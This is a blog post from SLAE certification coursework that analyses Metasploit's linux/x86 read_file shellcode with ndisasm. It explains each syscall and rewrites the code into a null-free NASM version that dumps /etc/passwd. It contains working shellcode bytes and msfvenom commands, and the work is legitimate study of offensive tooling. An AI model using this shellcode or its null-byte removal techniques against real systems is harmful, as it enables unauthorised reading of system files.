Metasploit Shellcode Analysis – read_file via ndisasm (SLAE Exam #5.1)

Assignment #5 for the SLAE exam is to perform Metasploit shellcode analysis.

Metasploit Shellcode Analysis - Introduction

First, the requirements for assignment #5 were as follows.

Take up at least 3 shellcode samples created using Msfpayload for linux/x86

Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode

Present your analysis

With that in mind, I decided to use each tool once, for each shellcode that I selected. The usage of each tool would be the same, and it will save me some writing/extra posts. Additionally, analyzing the shellcode in-depth with one of these tools should cover the functionality well enough.

With that in mind, let's jump right in!

Shellcode Selection

I needed to select the three shellcodes that I would analyze.

First, I grabbed a list of the linux/x86 payloads from msfvenom. Note that I removed what each payload does to save some space.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -l payloads | grep linux/x86
linux/x86/adduser
linux/x86/chmod
linux/x86/exec
linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_ipv6_tcp_uuid
linux/x86/meterpreter/bind_nonx_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/bind_tcp_uuid
linux/x86/meterpreter/find_tag
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_nonx_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp_uuid
linux/x86/meterpreter_reverse_http
linux/x86/meterpreter_reverse_https
linux/x86/meterpreter_reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
linux/x86/read_file
linux/x86/shell/bind_ipv6_tcp
linux/x86/shell/bind_ipv6_tcp_uuid
linux/x86/shell/bind_nonx_tcp
linux/x86/shell/bind_tcp
linux/x86/shell/bind_tcp_uuid
linux/x86/shell/find_tag
linux/x86/shell/reverse_ipv6_tcp
linux/x86/shell/reverse_nonx_tcp
linux/x86/shell/reverse_tcp
linux/x86/shell/reverse_tcp_uuid
linux/x86/shell_bind_ipv6_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_bind_tcp_random_port
linux/x86/shell_find_port
linux/x86/shell_find_tag
linux/x86/shell_reverse_tcp

As I've already written a bind shellcode and a reverse shellcode, I decided to go with something different.

In this case, I'll be covering the adduser, chmod, and read_file linux/x86 shellcodes.

Read File Shellcode - Ndisasm Analysis

First, I'll break down the linux/x86/read_file payload using ndisasm.

Before I generated the payload, I took a look at the potential options. I'll skip the advanced ones, as we just want the basic payload.

As you can see, we just have to set the file descriptor (the default being 1 - STDOUT), and the path to the file.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file --payload-options
Options for payload/linux/x86/read_file:


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

I decided to generate a payload to read the first 4096 bytes of /etc/password and write it to STDOUT.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

With the 73 byte shellcode generated, it was time to add it to my C wrapper. After this was complete, I compiled and tested the application. As expected, it worked perfectly!

Note that the shellcode length is improperly printed as 4 bytes. This is due to the null bytes in the unencoded Metasploit shellcode.

doyler@slae:~/slae/_exam/msf_analysis$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.c 
doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode 
Shellcode Length: 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

... snip ...

saned:x:114:123::/home/saned:/bin/false
doyler:x:1000:1000:Ray,,,:/home/doyler:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin

Next, I piped the raw shellcode to ndisasm to begin my analysis.

doyler@slae:~/slae/_exam/msf_analysis$ msfvenom -p linux/x86/read_file FD=1 PATH=/etc/passwd -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

While this shellcode is fairly straightforward, I am going to break it into six distinct sections for my analysis.

String Initialization

First, I'll break down everything from bytes 0000003D until the end.

While the instructions look confusing, this is actually just initialized data used to define the file path to read.

As you can see when decoding this, it is the null terminated "/etc/passwd" string.

>>> "2F6574632F706173737764".decode("hex")
'/etc/passwd'

In the actually assembly file, it might look something like this:

message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x00

JMP-CALL-POP

Next up is calls from a few different sections of the disassembled application.

00000000  EB36              jmp short 0x38
00000038  E8C5FFFFFF        call dword 0x2
00000007  5B                pop ebx

If this looks familiar, it is because I have used it before.

These three instructions perform a jmp-call-pop to load the variable (in this case, /etc/passwd) into EBX.

System Call #1 - Open

You can find the first system call, and earlier register setup, below.

00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

This is a simple system call to sys_open, and the parameters are as follows.

  • EAX - 0x5 (sys_open)
  • EBX - /etc/passwd (pathname)
  • ECX - 0 (flags)

This calls sys_open on /etc/passwd with no flags.

System Call #2 - Read

As expected, the next system call is to read.

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

The registers are setup as follows.

  • EAX - 0x3 (sys_read)
  • EBX - returned FD from sys_open (file descriptor)
  • ECX - ESP (buffer to read file into)
  • EDX - 0x1000 (number of bytes to read)

This system call will execute sys_read on the opened file, and read the first 4096 bytes.

System Call #3 - Write

Next up we have a call to write. While this may seem slightly confusing, the application has to output the file that we read with sys_read.

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

As before, you can find the register/parameter configuration below.

  • EAX - 0x4 (sys_write)
  • EBX - 0x1 (FD1, STDOUT)
  • ECX - ESP (buffer to write bytes from)
  • EDX - returned number of bytes read from sys_read (number of bytes to write)

This call will write the bytes that sys_read read into ESP to STDOUT, so that you can actually view the file contents.

System Call #4 - Exit

Last, but not least, we have our exit call.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

The registers are super straightforward, and setup as expected.

  • EAX - 0x1 (sys_exit)
  • EBX - 0x0 (exit code 0)

This will cleanly exit the program with no error code.

Metasploit Shellcode Analysis - Optimization

While I didn't want to use one of the included Metasploit encoders, there were still some optimizations that I could make.

From the looks of the first code, I'd be able to shorten the shellcode and remove all the null bytes.

First, I replaced all the MOV E(A/B/C/D)X operations with the lower 8-bit register. Where necessary, I zeroed out the register first as well with a XOR operation. This saved 10 bytes, as well as removing a number of nulls.

Next, I removed the null terminator from the /etc/passwd string, saving another (null byte).

Finally, I modified the MOV edx, 0x1000 call. Due to the size of the value, I wasn't able to use the DL register. That said, I was able to save one byte and remove the null with the following operations:

xor edx,edx
mov dh,0x10

As you can see, I just loaded 0x10 into the higher 8-bits of DX after zeroing out the rest.

Testing and Validation

With my changes in place, it was time to test the new shellcode.

As you can see, the wrapper application properly executes!

doyler@slae:~/slae/_exam/msf_analysis$ ./shellcode 
Shellcode Length: 61
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Not only did I remove all the nulls, but I was also able to save 12 bytes off of the original payload!

The Code

I've included my assembly code below. Where relevant, I also included the original Metasploit code as a comment, with my change below.

There are no hardcoded jumps, so you can modify the message to a different file.

; Filename: metasploit_read_passwd.nasm
; Author: Ray Doyle (@doylersec)
; Website: https://www.doyler.net
;
; Purpose: SLAE Exam Assignment #5 - Metasploit read_file shellcode (Linux/x86) for /etc/passwd with no null bytes

global _start 

section .text

_start:
   jmp short call_shellcode

shellcode:
   ;mov eax,0x5
   xor eax,eax
   mov al,0x5
   pop ebx
   xor ecx,ecx
   int 0x80
   mov ebx,eax
   ;mov eax,0x3
   mov al,0x3
   mov edi,esp
   mov ecx,edi
   ;mov edx,0x1000
   xor edx,edx
   mov dh,0x10
   int 0x80
   mov edx,eax
   ;mov eax,0x4
   xor eax,eax
   mov al,0x4
   ;mov ebx,0x1
   xor ebx,ebx
   mov bl,0x1
   int 0x80
   ;mov eax,0x1
   xor eax,eax
   mov al,0x1
   ;mov ebx,0x0
   xor ebx,ebx
   int 0x80

call_shellcode:
   call shellcode
   message: db 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64

Metasploit Shellcode Analysis - Conclusion

This was a nice change of pace from writing my shellcode, but I still learned plenty.

As you can see, I've decided to break this assignment down into three parts.

Next week will be another analysis, but I will let the technique and shellcode be a surprise!

Finally, you can find the code and updates in my GitHub repository.

SLAE Exam Requirement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1212

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.